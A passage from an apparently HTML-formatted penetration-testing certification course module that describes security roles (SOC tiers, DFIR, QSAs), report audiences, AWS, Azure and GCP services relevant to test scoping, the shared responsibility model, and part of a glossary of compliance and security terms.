  SOC Analyst (L1, L2, L3)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Security Operations Center (SOC)&lt;/strong&gt; analysts monitor, detect, investigate, and respond to cybersecurity incidents in real-time.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Level&lt;/th&gt;
&lt;th&gt;Responsibilities&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L1 (Tier 1)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Alert triage, initial investigation, ticket creation, escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L2 (Tier 2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Deep investigation, incident response, malware analysis, escalation to L3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L3 (Tier 3)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Advanced threat hunting, forensic analysis, tool development, mentoring L1/L2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Interaction:&lt;/strong&gt;&lt;br&gt;
During a penetration test, the SOC team needs to be aware that testing is occurring (in most engagement types) to avoid escalating test activities as real incidents. Some engagements (red team exercises) intentionally do not notify the SOC, testing their detection and response capabilities.&lt;/p&gt;


&lt;h4&gt;
  
  
  Threat Intelligence Analyst
&lt;/h4&gt;

&lt;p&gt;Responsible for collecting, analyzing, and distributing threat intelligence to support security decision-making. Threat intelligence analysts track threat actors, campaigns, tactics, techniques, and procedures (TTPs), and indicators of compromise (IOCs).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relevance to Penetration Testing:&lt;/strong&gt;&lt;br&gt;
The threat intelligence analyst can provide testers with context about which threat actors are most relevant to the client's industry and geography, enabling threat-informed penetration testing that simulates the most realistic attacker profiles.&lt;/p&gt;


&lt;h4&gt;
  
  
  Incident Responder (IR Analyst / DFIR)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Digital Forensics and Incident Response (DFIR)&lt;/strong&gt; specialists investigate security incidents, determine root cause, contain threats, and support recovery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relevance to Penetration Testing:&lt;/strong&gt;&lt;br&gt;
Post-engagement, the IR team implements remediation. If the penetration tester discovers evidence of a live breach, the IR team takes over. Some red team exercises include a purple team element where the IR team's detection and response capabilities are explicitly tested.&lt;/p&gt;


&lt;h3&gt;
  
  
  Assessment and Compliance Roles
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Penetration Tester
&lt;/h4&gt;

&lt;p&gt;The primary role this certification prepares candidates for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common Job Titles:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Penetration Tester&lt;/li&gt;
&lt;li&gt;Security Analyst (Offensive)&lt;/li&gt;
&lt;li&gt;Ethical Hacker&lt;/li&gt;
&lt;li&gt;Red Team Operator&lt;/li&gt;
&lt;li&gt;Vulnerability Assessor&lt;/li&gt;
&lt;li&gt;Security Consultant (Offensive)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Specializations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network penetration tester&lt;/li&gt;
&lt;li&gt;Web application penetration tester&lt;/li&gt;
&lt;li&gt;Mobile application penetration tester&lt;/li&gt;
&lt;li&gt;Cloud penetration tester&lt;/li&gt;
&lt;li&gt;Social engineering specialist&lt;/li&gt;
&lt;li&gt;Physical penetration tester&lt;/li&gt;
&lt;li&gt;ICS/SCADA penetration tester&lt;/li&gt;
&lt;li&gt;Red team operator (advanced, APT simulation)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Career Progression:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Junior Penetration Tester → Penetration Tester → Senior Penetration Tester → 
Lead Penetration Tester → Red Team Lead → Security Director (Offensive) / CISO
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Red Team vs. Blue Team vs. Purple Team
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Team&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Focus&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Red Team&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Simulates adversaries — attacks the organization using real-world TTPs&lt;/td&gt;
&lt;td&gt;Offense: find weaknesses before attackers do&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Blue Team&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defends the organization — detects, responds to, and prevents attacks&lt;/td&gt;
&lt;td&gt;Defense: detect and stop attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Purple Team&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Integrates red and blue team activities to maximize learning — real-time collaboration&lt;/td&gt;
&lt;td&gt;Optimization: improve both attack simulation and defense simultaneously&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h4&gt;
  
  
  QSA — Qualified Security Assessor (PCI DSS)
&lt;/h4&gt;

&lt;p&gt;QSAs are companies and individuals certified by the PCI Security Standards Council to perform PCI DSS compliance assessments. They:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Assess compliance of merchant and service provider environments with PCI DSS&lt;/li&gt;
&lt;li&gt;Produce Report on Compliance (ROC) — the formal compliance assessment document&lt;/li&gt;
&lt;li&gt;Validate remediation of non-compliant items&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Penetration testers frequently work alongside QSAs in PCI DSS environments, with testers providing technical validation and QSAs providing compliance assessment.&lt;/p&gt;




&lt;h4&gt;
  
  
  PFI — PCI Forensic Investigator
&lt;/h4&gt;

&lt;p&gt;PFIs are certified by the PCI SSC to investigate payment card data breaches. Their responsibilities include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Determining if cardholder data was compromised&lt;/li&gt;
&lt;li&gt;Identifying how the breach occurred&lt;/li&gt;
&lt;li&gt;Documenting findings in a formal Final Incident Response Report&lt;/li&gt;
&lt;li&gt;Preserving forensic evidence in accordance with legal requirements&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  ISA — Internal Security Assessor (PCI DSS)
&lt;/h4&gt;

&lt;p&gt;ISAs are individuals certified by the PCI SSC to conduct self-assessments of their own organization's PCI DSS compliance. Unlike QSAs, ISAs are employees of the organization they assess.&lt;/p&gt;




&lt;h3&gt;
  
  
  Documentation and Report Recipients
&lt;/h3&gt;

&lt;p&gt;Understanding who will read the penetration test report determines how it should be written and structured.&lt;/p&gt;

&lt;h4&gt;
  
  
  Report Audience Tiers
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Tier 1: Executive Audience (CISO, CIO, CTO, CEO, Board)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Executive Summary: Business risk, compliance impact, strategic recommendations&lt;/li&gt;
&lt;li&gt;No technical jargon&lt;/li&gt;
&lt;li&gt;Risk quantified in financial and business terms&lt;/li&gt;
&lt;li&gt;Key metrics: number of critical findings, risk level, compliance status&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tier 2: Management Audience (ISM, Security Managers, IT Directors)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Management Summary: Overview of findings by risk level, remediation priorities&lt;/li&gt;
&lt;li&gt;Some technical context&lt;/li&gt;
&lt;li&gt;Resource requirements for remediation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tier 3: Technical Audience (System Administrators, Developers, Security Engineers)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Technical Findings: Detailed vulnerability descriptions, evidence, and remediation steps&lt;/li&gt;
&lt;li&gt;Full technical detail: CVE numbers, CVSS scores, proof-of-concept details, affected versions&lt;/li&gt;
&lt;li&gt;Step-by-step remediation guidance&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2.5 Cloud Environments and Their Implications for Scoping
&lt;/h2&gt;

&lt;p&gt;Modern enterprises are hybrid environments. A comprehensive penetration test must account for cloud resources.&lt;/p&gt;

&lt;h3&gt;
  
  
  AWS — Amazon Web Services
&lt;/h3&gt;

&lt;p&gt;The world's leading cloud platform by market share. Key AWS services relevant to penetration testing scope:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Penetration Testing Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EC2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Elastic Compute Cloud — virtual machines&lt;/td&gt;
&lt;td&gt;Primary compute targets for network-level testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;S3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Simple Storage Service — object storage&lt;/td&gt;
&lt;td&gt;Misconfiguration frequently leads to public data exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RDS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Relational Database Service&lt;/td&gt;
&lt;td&gt;Database compromise, SQL injection targets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lambda&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serverless compute functions&lt;/td&gt;
&lt;td&gt;Serverless-specific vulnerabilities, injection, privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identity and Access Management&lt;/td&gt;
&lt;td&gt;Over-privileged roles, key exposure, privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VPC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Virtual Private Cloud — isolated network&lt;/td&gt;
&lt;td&gt;Network segmentation, firewall rule testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EKS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Elastic Kubernetes Service&lt;/td&gt;
&lt;td&gt;Container escape, pod security, RBAC misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Managed API service&lt;/td&gt;
&lt;td&gt;API security testing, authentication bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CloudTrail&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;API logging service&lt;/td&gt;
&lt;td&gt;Attacker detection evasion analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GuardDuty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Threat detection service&lt;/td&gt;
&lt;td&gt;Testing detection capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web Application Firewall&lt;/td&gt;
&lt;td&gt;WAF bypass techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;AWS Penetration Testing Concerns:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shared Responsibility Model:&lt;/strong&gt; AWS is responsible for the security "of" the cloud (infrastructure); the customer is responsible for security "in" the cloud (configurations, IAM policies, data protection). Penetration testing tests the customer's responsibilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S3 Bucket Misconfigurations:&lt;/strong&gt; One of the most common findings in AWS assessments. Public S3 buckets have caused numerous high-profile data breaches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IAM Privilege Escalation:&lt;/strong&gt; Over-privileged IAM roles and users are extremely common and can allow attackers to escalate from low-privileged access to full AWS account control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instance Metadata Service (IMDS):&lt;/strong&gt; EC2 instance metadata can expose AWS credentials if SSRF (Server-Side Request Forgery) vulnerabilities exist in applications running on EC2. IMDSv2 mitigates this risk.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Microsoft Azure
&lt;/h3&gt;

&lt;p&gt;Microsoft's cloud platform, the second-largest cloud provider by market share. Dominant in enterprise environments due to deep integration with Active Directory.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Penetration Testing Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure AD (Entra ID)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud identity and access management&lt;/td&gt;
&lt;td&gt;Identity attacks, OAuth abuse, privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure VMs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Virtual machines&lt;/td&gt;
&lt;td&gt;Compute-level testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure Blob Storage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Object storage&lt;/td&gt;
&lt;td&gt;Public blob container exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure SQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Managed SQL database&lt;/td&gt;
&lt;td&gt;Database security testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure Kubernetes Service (AKS)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Managed Kubernetes&lt;/td&gt;
&lt;td&gt;Container and orchestration security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serverless compute&lt;/td&gt;
&lt;td&gt;Serverless-specific vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure Key Vault&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secrets management&lt;/td&gt;
&lt;td&gt;Secret exposure, access control weaknesses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure Defender&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud security posture management&lt;/td&gt;
&lt;td&gt;Detection and response capabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Azure AD Conditional Access&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Risk-based access control&lt;/td&gt;
&lt;td&gt;Bypass techniques and policy gaps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Azure-Specific Security Concerns:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Azure AD (Entra ID) Attacks:&lt;/strong&gt; With so many enterprises using Azure AD for identity, attacks targeting Azure AD (password spraying, OAuth phishing, token theft) are increasingly common. Tools like &lt;strong&gt;ROADtools&lt;/strong&gt;, &lt;strong&gt;BloodHound&lt;/strong&gt; (with Azure plugin), and &lt;strong&gt;AAD Internals&lt;/strong&gt; are used by penetration testers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service Principal Abuse:&lt;/strong&gt; Service principals in Azure are equivalent to service accounts — they are frequently over-privileged and can be leveraged for lateral movement and privilege escalation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Managed Identity Abuse:&lt;/strong&gt; Azure Managed Identities (similar to AWS IAM roles for EC2) can be abused if an application is compromised.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  GCP — Google Cloud Platform
&lt;/h3&gt;

&lt;p&gt;Google's cloud platform, third-largest by market share. Strong in data analytics, machine learning, and containerization (Google invented Kubernetes).&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Penetration Testing Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compute Engine&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Virtual machines&lt;/td&gt;
&lt;td&gt;Compute-level testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Storage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Object storage&lt;/td&gt;
&lt;td&gt;Public bucket exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud SQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Managed relational database&lt;/td&gt;
&lt;td&gt;Database security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GKE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Google Kubernetes Engine&lt;/td&gt;
&lt;td&gt;Container and orchestration security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serverless compute&lt;/td&gt;
&lt;td&gt;Serverless vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identity and access management&lt;/td&gt;
&lt;td&gt;Privilege escalation, service account abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Secret Manager&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secrets management&lt;/td&gt;
&lt;td&gt;Secret exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Run&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Container-based serverless&lt;/td&gt;
&lt;td&gt;Container escape, environment variable exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  The Shared Responsibility Model
&lt;/h3&gt;

&lt;p&gt;All three major cloud providers operate on a &lt;strong&gt;Shared Responsibility Model&lt;/strong&gt; — the division of security responsibilities between the cloud provider and the customer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────────────────────────┐
│                    CUSTOMER RESPONSIBILITY                      │
│  Data Classification and Encryption                            │
│  Identity and Access Management                                │
│  Application Security                                          │
│  Operating System Patches (IaaS only)                         │
│  Network Traffic Protection (configurations)                   │
├────────────────────────────────────────────────────────────────┤
│                 SHARED RESPONSIBILITY                           │
│  Patch Management (PaaS: provider patches OS)                  │
│  Security Configuration                                        │
│  Awareness and Training                                        │
├────────────────────────────────────────────────────────────────┤
│                 CLOUD PROVIDER RESPONSIBILITY                   │
│  Physical Data Center Security                                 │
│  Host Infrastructure (hardware)                                │
│  Network Infrastructure                                        │
│  Hypervisor Security                                           │
└────────────────────────────────────────────────────────────────┘

Service Model Impact:
IaaS (EC2, Azure VM, GCE) → Customer responsible for most of the stack
PaaS (Elastic Beanstalk, App Service) → Provider manages OS, customer manages application
SaaS (Office 365, Salesforce) → Provider manages nearly everything
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Penetration Testing Implication:&lt;/strong&gt; Cloud penetration tests test the customer's layer of the shared responsibility model, not the cloud provider's infrastructure.&lt;/p&gt;




&lt;h2&gt;
  
  
  2.6 Master Glossary — All Critical Terms for This Module
&lt;/h2&gt;

&lt;p&gt;This glossary provides comprehensive definitions for every term, acronym, technology, role, and concept covered in Module 2. It is organized alphabetically and designed as a standalone reference.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;ALE — Annual Loss Expectancy&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The expected monetary loss for an asset due to a risk over a one-year period. Calculated as: ALE = ARO × SLE. Used in risk quantification and ROI calculations for security investments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARO — Annual Rate of Occurrence&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The estimated frequency with which a threat is expected to occur within a year. Used in quantitative risk calculations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ATO — Authority to Operate&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An official decision by a designated authorizing official (typically in government contexts) that a system is authorized to operate, accepting the residual risk after security controls have been implemented. Required for federal systems under FISMA and for cloud services under FedRAMP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The explicit, documented permission granted by the legal owner of a system or network for a penetration tester to conduct security testing. The most critical legal protection for an ethical hacker.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BAA — Business Associate Agreement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A contract required by HIPAA between a covered entity and any third party (business associate) that may handle Protected Health Information (PHI) on its behalf. Penetration testers working in healthcare environments must have a BAA in place before testing begins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Black Box Testing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A penetration testing methodology in which the tester is given no prior information about the target environment. Simulates an external attacker with no insider knowledge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CDE — Cardholder Data Environment&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The people, processes, and technology that store, process, or transmit cardholder data (including PAN) or sensitive authentication data. The boundary of the CDE determines the scope of PCI DSS compliance requirements and penetration testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CCPA — California Consumer Privacy Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
California state law providing consumers with rights over their personal information and imposing privacy and security obligations on businesses serving California residents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEH — Certified Ethical Hacker&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A professional certification issued by EC-Council validating knowledge of hacking tools, techniques, and concepts used in ethical hacking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CFAA — Computer Fraud and Abuse Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The primary U.S. federal statute criminalizing unauthorized access to computer systems (18 U.S.C. § 1030). The legal boundary that separates ethical hacking from criminal hacking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CISO — Chief Information Security Officer&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The senior executive responsible for the organization's information security strategy, program, and operations. Typically the highest-ranking signing authority for penetration testing engagements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CIO — Chief Information Officer&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The senior executive responsible for the organization's information technology strategy and infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CTO — Chief Technology Officer&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The senior executive responsible for the organization's technical strategy, often including product development and R&amp;amp;D.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CMA — Computer Misuse Act 1990&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The primary UK statute criminalizing unauthorized access to computer systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compliance&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The state of conforming to a specification, policy, standard, or law. In cybersecurity, compliance with frameworks like PCI DSS, HIPAA, and GDPR is often required by law or contractual obligation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVD — Coordinated Vulnerability Disclosure&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The process of responsibly disclosing a vulnerability to the affected vendor before public disclosure, allowing the vendor time to develop and release a patch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVSS — Common Vulnerability Scoring System&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An open framework for communicating the characteristics and severity of software vulnerabilities. CVSS scores range from 0.0 (None) to 10.0 (Critical).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data Controller&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Under GDPR, the entity that determines the purposes and means of processing personal data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data Processor&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Under GDPR, the entity that processes personal data on behalf of the data controller.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DFIR — Digital Forensics and Incident Response&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The discipline of investigating security incidents through forensic analysis and coordinating the response to contain, eradicate, and recover from threats.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DPA — Data Processing Agreement&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A contract required under GDPR between a data controller and a data processor, specifying data protection obligations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DPO — Data Protection Officer&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A role required under GDPR for certain organizations, responsible for ensuring GDPR compliance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EAR — Export Administration Regulations&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. regulations controlling the export of dual-use goods and technologies, including many cybersecurity tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ECPA — Electronic Communications Privacy Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. law prohibiting unauthorized interception of electronic communications. Relevant to penetration testing activities involving packet capture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ePHI — Electronic Protected Health Information&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Protected Health Information (PHI) that is created, stored, transmitted, or received in electronic form. Subject to the HIPAA Security Rule.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FAIR — Factor Analysis of Information Risk&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A quantitative framework for measuring and managing information risk in financial terms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FedRAMP — Federal Risk and Authorization Management Program&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A U.S. government program providing a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services used by federal agencies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FISMA — Federal Information Security Management Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. federal law requiring federal agencies to develop, document, and implement information security programs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GDPR — General Data Protection Regulation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The EU's comprehensive data protection regulation, effective May 2018. Applies to any organization processing personal data of EU/EEA residents, regardless of the organization's location.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GLBA — Gramm-Leach-Bliley Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. federal law requiring financial institutions to protect consumers' private financial information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GRC — Governance, Risk, and Compliance&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An integrated framework for aligning IT activities with business goals (governance), managing threats (risk), and ensuring adherence to laws and regulations (compliance).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Grey Box Testing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A penetration testing methodology in which the tester is given partial information about the target environment. The most common approach in professional penetration testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HIPAA — Health Insurance Portability and Accountability Act&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. federal law protecting the privacy and security of Protected Health Information (PHI). Requires covered entities to implement security safeguards for ePHI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IAM — Identity and Access Management&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The framework of policies and technologies ensuring that the right users have the right access to the right resources.&lt;/p&gt;

